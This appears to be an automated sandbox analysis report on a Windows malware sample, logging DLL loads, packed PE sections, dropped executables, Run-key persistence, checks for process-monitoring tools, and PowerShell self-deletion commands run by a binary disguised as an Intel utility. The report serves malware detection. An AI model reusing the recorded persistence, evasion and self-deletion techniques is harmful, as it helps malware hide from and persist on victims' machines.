Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 3011072 > 1048576

Source: file.exe

Static PE information: Raw size of snfdcrvt is bigger than: 0x100000 < 0x2ad800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.420000.0.unpack :EW;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 5.2.skotes.exe.780000.0.unpack :EW;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;snfdcrvt:EW;tnimcadf:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Unpacked PE file: 38.2.0ef66f58de.exe.e50000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xtfxuijo:EW;svksalgd:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xtfxuijo:EW;svksalgd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Unpacked PE file: 39.2.4fa13d4e43.exe.4e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;bpjgunit:EW;mcnhayjy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;bpjgunit:EW;mcnhayjy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Unpacked PE file: 45.2.8b77671daf.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;gsobncjc:EW;vlbjzjxv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;gsobncjc:EW;vlbjzjxv:EW;.taggant:EW;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

6_2_00402665

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.5.dr	Static PE information: real checksum: 0x44d68d should be: 0x449522
Source: 8b77671daf.exe.5.dr	Static PE information: real checksum: 0x1b5d68 should be: 0x1b37a5
Source: 4fa13d4e43.exe.5.dr	Static PE information: real checksum: 0x1c8440 should be: 0x1c801d
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x1b5d68 should be: 0x1b37a5
Source: 7z.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 7z.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: in.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe1.5.dr	Static PE information: real checksum: 0xf4b8a should be: 0x27743
Source: file.exe	Static PE information: real checksum: 0x2df9c1 should be: 0x2e0ed0
Source: 0ef66f58de.exe.5.dr	Static PE information: real checksum: 0x45677d should be: 0x44f37c
Source: Intel_PTT_EK_Recertification.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2df9c1 should be: 0x2e0ed0
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x45677d should be: 0x44f37c
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x1c8440 should be: 0x1c801d
Source: 153848897b.exe.5.dr	Static PE information: real checksum: 0x44d68d should be: 0x449522

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: snfdcrvt
Source: file.exe	Static PE information: section name: tnimcadf
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: snfdcrvt
Source: skotes.exe.0.dr	Static PE information: section name: tnimcadf
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: fjjegazs
Source: random[1].exe.5.dr	Static PE information: section name: bdwbetux
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: 153848897b.exe.5.dr	Static PE information: section name:
Source: 153848897b.exe.5.dr	Static PE information: section name: .idata
Source: 153848897b.exe.5.dr	Static PE information: section name:
Source: 153848897b.exe.5.dr	Static PE information: section name: fjjegazs
Source: 153848897b.exe.5.dr	Static PE information: section name: bdwbetux
Source: 153848897b.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: xtfxuijo
Source: random[1].exe0.5.dr	Static PE information: section name: svksalgd
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: 0ef66f58de.exe.5.dr	Static PE information: section name:
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: .idata
Source: 0ef66f58de.exe.5.dr	Static PE information: section name:
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: xtfxuijo
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: svksalgd
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: .idata
Source: random[2].exe.5.dr	Static PE information: section name:
Source: random[2].exe.5.dr	Static PE information: section name: bpjgunit
Source: random[2].exe.5.dr	Static PE information: section name: mcnhayjy
Source: random[2].exe.5.dr	Static PE information: section name: .taggant
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name:
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: .idata
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name:
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: bpjgunit
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: mcnhayjy
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: gsobncjc
Source: random[2].exe0.5.dr	Static PE information: section name: vlbjzjxv
Source: random[2].exe0.5.dr	Static PE information: section name: .taggant
Source: 8b77671daf.exe.5.dr	Static PE information: section name:
Source: 8b77671daf.exe.5.dr	Static PE information: section name: .idata
Source: 8b77671daf.exe.5.dr	Static PE information: section name:
Source: 8b77671daf.exe.5.dr	Static PE information: section name: gsobncjc
Source: 8b77671daf.exe.5.dr	Static PE information: section name: vlbjzjxv
Source: 8b77671daf.exe.5.dr	Static PE information: section name: .taggant
Source: in.exe.17.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.19.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0043D91C push ecx; ret	0_2_0043D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00431359 push es; ret	0_2_0043135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0079D91C push ecx; ret	2_2_0079D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0079D91C push ecx; ret	5_2_0079D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0079DFC6 push ecx; ret	5_2_0079DFD9
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Code function: 6_2_004192C0 push eax; ret	6_2_004192EE
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 10_2_0004676A push rcx; ret	10_2_0004676B
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B306E push ecx; ret	23_2_002B3081

Source: file.exe	Static PE information: section name: entropy: 7.982271983199901
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.982271983199901
Source: random[1].exe.5.dr	Static PE information: section name: fjjegazs entropy: 7.95530053085075
Source: 153848897b.exe.5.dr	Static PE information: section name: fjjegazs entropy: 7.95530053085075
Source: random[1].exe0.5.dr	Static PE information: section name: xtfxuijo entropy: 7.955466178502417
Source: 0ef66f58de.exe.5.dr	Static PE information: section name: xtfxuijo entropy: 7.955466178502417
Source: random[2].exe.5.dr	Static PE information: section name: entropy: 7.983444118126238
Source: random[2].exe.5.dr	Static PE information: section name: bpjgunit entropy: 7.952498782786211
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: entropy: 7.983444118126238
Source: 4fa13d4e43.exe.5.dr	Static PE information: section name: bpjgunit entropy: 7.952498782786211
Source: random[2].exe0.5.dr	Static PE information: section name: gsobncjc entropy: 7.953938661441301
Source: 8b77671daf.exe.5.dr	Static PE information: section name: gsobncjc entropy: 7.953938661441301

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4fa13d4e43.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b77671daf.exe			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
